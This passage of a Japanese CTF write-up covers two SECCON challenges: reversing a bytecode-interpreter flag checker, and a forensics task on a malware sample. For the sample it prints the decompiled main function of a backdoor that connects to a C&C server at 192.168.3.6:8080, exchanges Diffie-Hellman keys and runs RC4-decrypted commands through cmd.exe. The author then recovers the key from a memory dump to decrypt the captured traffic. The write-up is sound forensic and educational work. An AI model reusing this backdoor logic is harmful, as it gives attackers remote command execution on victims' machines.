bb.4 ではまた read している。IDX 27の 25 = (24 > 122) で参照されているID 122の定数は0で、要は } より後に何もないかチェックしているようだ。もし何かあれば bb.7 に、何もなければ bb.5 に飛ぶ。

  4   26  OP_BC_CALL_API      [33 /168/  3]  24 = read[1] (p.3, 121)
  4   27  OP_BC_ICMP_SGT      [27 /138/  3]  25 = (24 > 122)
  4   28  OP_BC_COPY          [34 /174/  4]  cp 123 -> 1
  4   29  OP_BC_COPY          [34 /174/  4]  cp 124 -> 0
  4   30  OP_BC_BRANCH        [17 / 85/  0]  br 25 ? bb.7 : bb.5

先程読み込んだフラグについてなにやら処理をしている。IDX 37の load 32 <- p.31 で4バイト分読み込み(ID 32のローカル変数の型がi32であることからわかる)、それを引数として F.2 という関数を呼び出している。そして、その返り値をIDX 46の store 33 -> p.40 でID 7というローカル変数に格納している。これを9回繰り返す。全部終わったら bb.6 にジャンプする。

  5   31  OP_BC_COPY          [34 /174/  4]  cp 1 -> 26
  5   32  OP_BC_SHL           [8  / 44/  4]  27 = 26 << 125
  5   33  OP_BC_ASHR          [10 / 54/  4]  28 = 27 >> 126
  5   34  OP_BC_TRUNC         [14 / 73/  3]  29 = 28 trunc ffffffffffffffff
  5   35  OP_BC_GEPZ          [36 /184/  4]  30 = gepz p.4 + (127)
  5   36  OP_BC_GEP1          [35 /179/  4]  31 = gep1 p.30 + (29 * 65)
  5   37  OP_BC_LOAD          [39 /198/  3]  load  32 <- p.31
  5   38  OP_BC_CALL_DIRECT   [32 /163/  3]  33 = call F.2 (32)
  5   39  OP_BC_SHL           [8  / 44/  4]  34 = 26 << 128
  5   40  OP_BC_ASHR          [10 / 54/  4]  35 = 34 >> 129
  5   41  OP_BC_TRUNC         [14 / 73/  3]  36 = 35 trunc ffffffffffffffff
  5   42  OP_BC_MUL           [3  / 18/  0]  37 = 130 * 131
  5   43  OP_BC_GEP1          [35 /179/  4]  38 = gep1 p.7 + (37 * 65)
  5   44  OP_BC_MUL           [3  / 18/  0]  39 = 132 * 36
  5   45  OP_BC_GEP1          [35 /179/  4]  40 = gep1 p.38 + (39 * 65)
  5   46  OP_BC_STORE         [38 /193/  3]  store 33 -> p.40
  5   47  OP_BC_ADD           [1  /  9/  0]  41 = 26 + 133
  5   48  OP_BC_ICMP_ULT      [25 /129/  4]  42 = (41 < 134)
  5   49  OP_BC_COPY          [34 /174/  4]  cp 41 -> 1
  5   50  OP_BC_BRANCH        [17 / 85/  0]  br 42 ? bb.5 : bb.6

先程フラグを4バイトずつ F.2 に投げた結果について、ひとつひとつ別の定数と比較している。1個でも違っていれば、ID 0のローカル変数には0が入る。

  6   51  OP_BC_LOAD          [39 /198/  3]  load  43 <- p.7
  6   52  OP_BC_ICMP_EQ       [21 /108/  3]  44 = (43 == 135)
  6   53  OP_BC_MUL           [3  / 18/  0]  45 = 136 * 137
  6   54  OP_BC_GEP1          [35 /179/  4]  46 = gep1 p.7 + (45 * 65)
  6   55  OP_BC_MUL           [3  / 18/  0]  47 = 138 * 139
  6   56  OP_BC_GEP1          [35 /179/  4]  48 = gep1 p.46 + (47 * 65)
  6   57  OP_BC_LOAD          [39 /198/  3]  load  49 <- p.48
  6   58  OP_BC_ICMP_EQ       [21 /108/  3]  50 = (49 == 140)
  6   59  OP_BC_AND           [11 / 55/  0]  51 = 44 & 50
  6   60  OP_BC_MUL           [3  / 18/  0]  52 = 141 * 142
  6   61  OP_BC_GEP1          [35 /179/  4]  53 = gep1 p.7 + (52 * 65)
  6   62  OP_BC_MUL           [3  / 18/  0]  54 = 143 * 144
  6   63  OP_BC_GEP1          [35 /179/  4]  55 = gep1 p.53 + (54 * 65)
  6   64  OP_BC_LOAD          [39 /198/  3]  load  56 <- p.55
  6   65  OP_BC_ICMP_EQ       [21 /108/  3]  57 = (56 == 145)
  6   66  OP_BC_AND           [11 / 55/  0]  58 = 51 & 57
  6   67  OP_BC_MUL           [3  / 18/  0]  59 = 146 * 147
  6   68  OP_BC_GEP1          [35 /179/  4]  60 = gep1 p.7 + (59 * 65)
  6   69  OP_BC_MUL           [3  / 18/  0]  61 = 148 * 149
  6   70  OP_BC_GEP1          [35 /179/  4]  62 = gep1 p.60 + (61 * 65)
  6   71  OP_BC_LOAD          [39 /198/  3]  load  63 <- p.62
  6   72  OP_BC_ICMP_EQ       [21 /108/  3]  64 = (63 == 150)
  6   73  OP_BC_AND           [11 / 55/  0]  65 = 58 & 64
  6   74  OP_BC_MUL           [3  / 18/  0]  66 = 151 * 152
  6   75  OP_BC_GEP1          [35 /179/  4]  67 = gep1 p.7 + (66 * 65)
  6   76  OP_BC_MUL           [3  / 18/  0]  68 = 153 * 154
  6   77  OP_BC_GEP1          [35 /179/  4]  69 = gep1 p.67 + (68 * 65)
  6   78  OP_BC_LOAD          [39 /198/  3]  load  70 <- p.69
  6   79  OP_BC_ICMP_EQ       [21 /108/  3]  71 = (70 == 155)
  6   80  OP_BC_AND           [11 / 55/  0]  72 = 65 & 71
  6   81  OP_BC_MUL           [3  / 18/  0]  73 = 156 * 157
  6   82  OP_BC_GEP1          [35 /179/  4]  74 = gep1 p.7 + (73 * 65)
  6   83  OP_BC_MUL           [3  / 18/  0]  75 = 158 * 159
  6   84  OP_BC_GEP1          [35 /179/  4]  76 = gep1 p.74 + (75 * 65)
  6   85  OP_BC_LOAD          [39 /198/  3]  load  77 <- p.76
  6   86  OP_BC_ICMP_EQ       [21 /108/  3]  78 = (77 == 160)
  6   87  OP_BC_AND           [11 / 55/  0]  79 = 72 & 78
  6   88  OP_BC_MUL           [3  / 18/  0]  80 = 161 * 162
  6   89  OP_BC_GEP1          [35 /179/  4]  81 = gep1 p.7 + (80 * 65)
  6   90  OP_BC_MUL           [3  / 18/  0]  82 = 163 * 164
  6   91  OP_BC_GEP1          [35 /179/  4]  83 = gep1 p.81 + (82 * 65)
  6   92  OP_BC_LOAD          [39 /198/  3]  load  84 <- p.83
  6   93  OP_BC_ICMP_EQ       [21 /108/  3]  85 = (84 == 165)
  6   94  OP_BC_AND           [11 / 55/  0]  86 = 79 & 85
  6   95  OP_BC_MUL           [3  / 18/  0]  87 = 166 * 167
  6   96  OP_BC_GEP1          [35 /179/  4]  88 = gep1 p.7 + (87 * 65)
  6   97  OP_BC_MUL           [3  / 18/  0]  89 = 168 * 169
  6   98  OP_BC_GEP1          [35 /179/  4]  90 = gep1 p.88 + (89 * 65)
  6   99  OP_BC_LOAD          [39 /198/  3]  load  91 <- p.90
  6  100  OP_BC_ICMP_EQ       [21 /108/  3]  92 = (91 == 170)
  6  101  OP_BC_AND           [11 / 55/  0]  93 = 86 & 92
  6  102  OP_BC_MUL           [3  / 18/  0]  94 = 171 * 172
  6  103  OP_BC_GEP1          [35 /179/  4]  95 = gep1 p.7 + (94 * 65)
  6  104  OP_BC_MUL           [3  / 18/  0]  96 = 173 * 174
  6  105  OP_BC_GEP1          [35 /179/  4]  97 = gep1 p.95 + (96 * 65)
  6  106  OP_BC_LOAD          [39 /198/  3]  load  98 <- p.97
  6  107  OP_BC_ICMP_EQ       [21 /108/  3]  99 = (98 == 175)
  6  108  OP_BC_AND           [11 / 55/  0]  100 = 93 & 99
  6  109  OP_BC_SEXT          [15 / 79/  4]  101 = 100 sext 1
  6  110  OP_BC_COPY          [34 /174/  4]  cp 101 -> 0
  6  111  OP_BC_JMP           [18 / 90/  0]  jmp bb.7

bb.6 で参照されている定数は以下の通り。

 31 [135]: 1939767458(0x739e80a2)
 36 [140]: 984514723(0x3aae80a3)
 41 [145]: 1000662943(0x3ba4e79f)
 46 [150]: 2025505267(0x78bac1f3)
 51 [155]: 1593426419(0x5ef9c1f3)
 56 [160]: 1002040479(0x3bb9ec9f)
 61 [165]: 1434878964(0x558683f4)
 66 [170]: 1442502036(0x55fad594)
 71 [175]: 1824513439(0x6cbfdd9f)

これで、F.2 を読んで、その返り値から元の値を求める処理を書けばよいということがわかった。F.2 を読んでいく…といっても、SHL, LSHR, AND, XORといったビット演算で引数をこねくり回しているだけであまり面白みはない。

found 18 values with 1 arguments and 17 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i32 argument
  1 [  1]: alloc i64
  2 [  2]: alloc i64
  3 [  3]: i64
  4 [  4]: i64
  5 [  5]: i32
  6 [  6]: i32
  7 [  7]: i32
  8 [  8]: i32
  9 [  9]: i32
 10 [ 10]: i32
 11 [ 11]: i32
 12 [ 12]: i32
 13 [ 13]: i32
 14 [ 14]: i32
 15 [ 15]: i1
 16 [ 16]: i64
 17 [ 17]: i64
------------------------------------------------------------------------
found a total of 8 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [ 18]: 0(0x0)
  1 [ 19]: 181056448(0xacab3c0)
  2 [ 20]: 3(0x3)
  3 [ 21]: 255(0xff)
  4 [ 22]: 8(0x8)
  5 [ 23]: 24(0x18)
  6 [ 24]: 1(0x1)
  7 [ 25]: 4(0x4)
------------------------------------------------------------------------
found a total of 26 total values
------------------------------------------------------------------------
FUNCTION ID: F.2 -> NUMINSTS 22
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  0    1  OP_BC_COPY          [34 /174/  4]  cp 19 -> 1
  0    2  OP_BC_JMP           [18 / 90/  0]  jmp bb.1

  1    3  OP_BC_COPY          [34 /174/  4]  cp 1 -> 3
  1    4  OP_BC_COPY          [34 /174/  4]  cp 2 -> 4
  1    5  OP_BC_TRUNC         [14 / 73/  3]  5 = 3 trunc ffffffffffffffff
  1    6  OP_BC_TRUNC         [14 / 73/  3]  6 = 4 trunc ffffffffffffffff
  1    7  OP_BC_SHL           [8  / 43/  3]  7 = 6 << 20
  1    8  OP_BC_LSHR          [9  / 48/  3]  8 = 0 >> 7
  1    9  OP_BC_AND           [11 / 58/  3]  9 = 8 & 21
  1   10  OP_BC_XOR           [13 / 68/  3]  10 = 9 ^ 5
  1   11  OP_BC_SHL           [8  / 43/  3]  11 = 10 << 22
  1   12  OP_BC_LSHR          [9  / 48/  3]  12 = 5 >> 23
  1   13  OP_BC_OR            [12 / 63/  3]  13 = 11 | 12
  1   14  OP_BC_ADD           [1  /  8/  0]  14 = 6 + 24
  1   15  OP_BC_ICMP_EQ       [21 /108/  3]  15 = (14 == 25)
  1   16  OP_BC_SEXT          [15 / 79/  4]  16 = 14 sext 20
  1   17  OP_BC_SEXT          [15 / 79/  4]  17 = 13 sext 20
  1   18  OP_BC_COPY          [34 /174/  4]  cp 16 -> 2
  1   19  OP_BC_COPY          [34 /174/  4]  cp 17 -> 1
  1   20  OP_BC_BRANCH        [17 / 85/  0]  br 15 ? bb.2 : bb.1

  2   21  OP_BC_RET           [19 / 98/  3]  ret 13
------------------------------------------------------------------------

解く

F.2 の返り値から元の値を求める処理を書く。Z3を使ってもいいけれども、Pythonで F.2 を書き直すのがちょっと面倒だった。なので、Cで F.2 を書き直して、ブルートフォースで探し出すことにする。

#include <stdio.h>

unsigned int f2(unsigned int v0) {
  unsigned int v2 = 0;
  unsigned int v1 = 0xacab3c0;
  unsigned int v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17;

  do {
    v3 = v1;
    v4 = v2;
    v5 = v3;
    v6 = v4;
    v7 = v6 << 3;
    v8 = v0 >> v7;
    v9 = v8 & 0xff;
    v10 = v9 ^ v5;
    v11 = v10 << 8;
    v12 = v5 >> 24;
    v13 = v11 | v12;
    v14 = v6 + 1;
    v2 = v14;
    v1 = v13;
  } while (v14 != 4);

  return v13;
}

unsigned int crack(unsigned int t) {
  unsigned int x;
  for (int a = 0x20; a < 0x7d; a++) {
    for (int b = 0x20; b < 0x7d; b++) {
      for (int c = 0x20; c < 0x7d; c++) {
        for (int d = 0x20; d < 0x7d; d++) {
          x = a | (b << 8) | (c << 16) | (d << 24);
          if (f2(x) == t) return x;
        }
      }
    }
  }
}

int main() {
  unsigned int s[9] = {
    0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f
  };
  unsigned int t[10] = {0};
  int i;

  for (i = 0; i < 9; i++) {
    t[i] = crack(s[i]);
    printf("%s\n", (char *) t);
  }
  printf("SECCON{%s}\n", (char *) t);

  return 0;
}

実行する。

$ gcc -o a a.c; ./a
byT3
byT3c0d3
byT3c0d3_1nT
byT3c0d3_1nT3rpr
byT3c0d3_1nT3rpr3T3r
byT3c0d3_1nT3rpr3T3r_1s_
byT3c0d3_1nT3rpr3T3r_1s_4_L0
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun
SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

フラグが得られた。

SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

このwriteupでは真面目にバイトコードを全部読んだけれども、実は本番では終了時刻が迫っていたのもあって、あまり真面目に読んでいなかった。F.1 に怪しげな定数がいっぱいあること、その定数が bb.6 で参照されていること、F.2 がなにか怪しげな変換をしていることを確認していた。Cのコードに直して、ブルートフォースでいくつか怪しげな定数の元の値を特定しようとしたところ、ちゃんと文章として読める文字列が出てきたので、最後に書いたCコードのようにちゃんとしたソルバを書いてフラグを得ていた。

(本番では解けず) [Reversing 179] DoroboH (27 solves)

I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing?

添付ファイル: doroboh.tar.gz

The program is a malware. Do not run it unless you understand its behavior.

添付ファイルを展開すると、README.txt, araiguma.exe.bin, network.pcap, araiguma.DMP の4つのファイルが出てくる。まず README.txt を読んでみると、以下のように出てきたファイルの解説が書かれていた。araiguma.exe.bin はPEファイルで、これを実行している最中に発生したパケットをキャプチャしたのが network.pcap、そして araiguma.exe.bin のメモリダンプが araiguma.DMP らしい。

The following diagram discribes what each file is.
Do not run araiguma.exe unless you fully understand the logic.

+-- Victim Machine --+       +-- Attacker Machine --+
| +--------------+   |       |   +-------------+    |
| | araiguma.exe |<------------->| kitsune.exe |    |
| +--------------+   |   ^   |   +-------------+    |
|        ^           |   |   |                      |
+--------|-----------+   |   +----------------------+
         |               |
  Memory |               | Packet
   Dump  |               | Capture
         |               |
  [ araiguma.DMP ] [ network.pcapng ]

IDA Freewareで araiguma.exe.bin をデコンパイルする。main 関数が本体っぽく、ここで CryptGenKey やら CryptSetKeyParam やらCryptoAPIを呼び出している。0xAA02u だの 0xBu だのよくわからないマジックナンバーが多いので、"Use standard symbolic constant" やGoogleを活用しつつ元の定数を特定する。

出来上がったのがこちら。やっていることは単純で、C&Cサーバと思われる 192.168.3.6:8080 とDiffie-Hellman鍵共有で共通鍵を共有した後に、RC4で暗号化された命令を受け取り、それを cmd.exe に渡して実行しているという感じ。p, g は固定値で、バイナリにハードコーディングされている。クライアントが生成する秘密の値である x は、CryptSetKeyParam(phKey, KP_X, 0i64, 0) からわかるようにランダムに生成されている。共通鍵の長さは64バイトだ。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF
  int dwBytes_4; // [rsp+3Ch] [rbp-44h] BYREF
  struct sockaddr name; // [rsp+40h] [rbp-40h] BYREF
  struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF
  char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF
  DWORD pdwDataLen; // [rsp+1F4h] [rbp+174h] BYREF
  HCRYPTKEY hKey; // [rsp+1F8h] [rbp+178h] BYREF
  HCRYPTKEY phKey; // [rsp+200h] [rbp+180h] BYREF
  HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF
  BYTE v13[4]; // [rsp+210h] [rbp+190h] BYREF
  void *v14; // [rsp+218h] [rbp+198h]
  BYTE pbData[4]; // [rsp+220h] [rbp+1A0h] BYREF
  void *v16; // [rsp+228h] [rbp+1A8h]
  LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h]
  BYTE *v18; // [rsp+240h] [rbp+1C0h]
  SOCKET s; // [rsp+248h] [rbp+1C8h]
  BYTE *v20; // [rsp+250h] [rbp+1D0h]
  HANDLE hHeap; // [rsp+258h] [rbp+1D8h]

  _main();
  *(_DWORD *)pbData = 64;
  v16 = &g_P;
  *(_DWORD *)v13 = 64;
  v14 = &g_G;
  hHeap = GetProcessHeap();
  if ( !hHeap )
    return 1;
  if ( !(unsigned int)CryptAcquireContext(
                        &hProv,
                        0i64,
                        MS_ENH_DSS_DH_PROV,
                        PROV_DSS_DH,
                        CRYPT_VERIFYCONTEXT) )
    return 1;
  if ( CryptGenKey(hProv, CALG_DH_EPHEM, ((64 * 8) << 16) | CRYPT_EXPORTABLE | CRYPT_PREGEN, &phKey)
    && CryptSetKeyParam(phKey, KP_P, pbData, 0)
    && CryptSetKeyParam(phKey, KP_G, v13, 0)
    && CryptSetKeyParam(phKey, KP_X, 0i64, 0) )
  {
    if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, 0i64, &pdwDataLen) )
    {
      v20 = (BYTE *)HeapAlloc(hHeap, 0, pdwDataLen);
      if ( v20 )
      {
        if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, v20, &pdwDataLen) )
        {
          WSAStartup(2u, &WSAData);
          s = socket(2, 1, 0);
          name.sa_family = 2;
          *(_WORD *)name.sa_data = htons(8080u);
          inet_pton(2, "192.168.3.6", &name.sa_data[2]);
          if ( !connect(s, &name, 16) )
          {
            send(s, (const char *)&pdwDataLen, 4, 0);
            send(s, (const char *)v20, pdwDataLen, 0);
            recv(s, buf, 4, 0);
            v18 = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf);
            if ( v18 )
            {
              recv(s, (char *)v18, *(int *)buf, 0);
              if ( CryptImportKey(hProv, v18, *(DWORD *)buf, phKey, 0, &hKey) )
              {
                dwBytes_4 = CALG_RC4;
                if ( CryptSetKeyParam(hKey, KP_ALGID, (const BYTE *)&dwBytes_4, 0) )
                {
                  memset(v18, 0, *(unsigned int *)buf);
                  while ( recv(s, (char *)&dwBytes, 4, 0) == 4 )
                  {
                    lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes);
                    if ( !lpParameters )
                      break;
                    recv(s, (char *)lpParameters, dwBytes, 0);
                    if ( !CryptDecrypt(hKey, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) )
                    {
                      HeapFree(hHeap, 0, (LPVOID)lpParameters);
                      break;
                    }
                    ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0);
                    memset((void *)lpParameters, 0, dwBytes);
                    HeapFree(hHeap, 0, (LPVOID)lpParameters);
                  }
                }
              }
              HeapFree(hHeap, 0, v18);
            }
            closesocket(s);
          }
          WSACleanup();
        }
        HeapFree(hHeap, 0, v20);
      }
    }
    CryptDestroyKey(phKey);
  }
  CryptReleaseContext(hProv, 0);
  return 0;
}

そういうわけで、Wiresharkで network.pcap を開いて ip.addr==192.168.3.6 というフィルターを適用すると、この通信が出てくる。赤色が 192.168.3.6 に送っているパケット、青色が 192.168.3.6 から受け取っているパケットだ。サイズとデータの順番で送ることを繰り返している。上の2つのデータがDH鍵共有の過程で、それぞれ g^(クライアントが生成したランダムな整数) mod pg^(サーバが生成したランダムな整数) mod p を含んでいる。デコンパイル後のCのコードを読めばわかるように、これは PUBLICKEYBLOB だ。残りの2つは、これで共有した鍵を使って暗号化されたデータ(実行されたOSコマンド)だ。

メモリダンプにクライアントが生成したランダムな整数が含まれていないか。バイナリにハードコーディングされていた p, g を手がかりに探してみたが見つからず、本番ではここで競技が終了した。

keymoonさんとの情報共有に使っていたDiscordチャンネルで、こういうことを言っていた。やってみよう。

araiguma.DMP から、1バイトずつずらしつつ64バイトずつ取ってクライアントが生成したランダムな整数として扱い、もし pow(G, (試す64バイトの値), P) == Y が成り立っていれば、それが正解ということになる。

import binascii
import re
from scipy.stats import entropy

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')
Y = convert('46A717B1D54537E862F6BA6F809AED0021AFC44B8C95C9BEC809518F10001CC96489AD8914E1D4E008AA60BE8FE36F9B156E358940BBC1AA709098D93957E637') # G^X mod P

with open('araiguma.DMP', 'rb') as f:
  s = f.read()
  i = -1

  while True:
    i += 1
    x = binascii.hexlify(s[i:i+64]).decode()
    x = convert(x)
    if entropy(list(s[i:i+64]), base=2) < 5:
      continue
    if pow(G, x, P) == Y:
      print(i, x)
      break

実行するとうまくいった。

$ python3 s.py
/usr/lib/python3/dist-packages/scipy/stats/_distn_infrastructure.py:2614: RuntimeWarning: invalid value encountered in true_divide
  pk = 1.0*pk / np.sum(pk, axis=0)
427985 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914

network.pcap から g^(サーバが生成したランダムな整数) mod p と暗号化されたデータを取ってきて復号するスクリプトを書く。

import binascii
import re
from Crypto.Cipher import ARC4

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')

Y = convert('288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8')
X = 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914
K = pow(Y, X, P)

k = binascii.unhexlify(hex(K)[2:])
k = k[::-1][:16]

s = binascii.unhexlify(b'8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f')
print(ARC4.new(k).decrypt(s))
t = binascii.unhexlify(b'8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18')
print(ARC4.new(k).decrypt(t))

実行する。

$ python3 t.py
b'/C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\\Users\\ctf\\Desktop\\flag.txt\r\n\x00'
b'/C echo "I regret to say that your computer is pwned... :(" > C:\\Users\\ctf\\Desktop\\notification.txt\r\n\x00'

フラグが得られた。

SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}

*1:チーム名にASCII範囲内の文字しか使えなかったので、その制限の範囲内でなるべくかわいいものにした

*2:昨年はすみませんでした

*3:SSTI発生!!!!!!!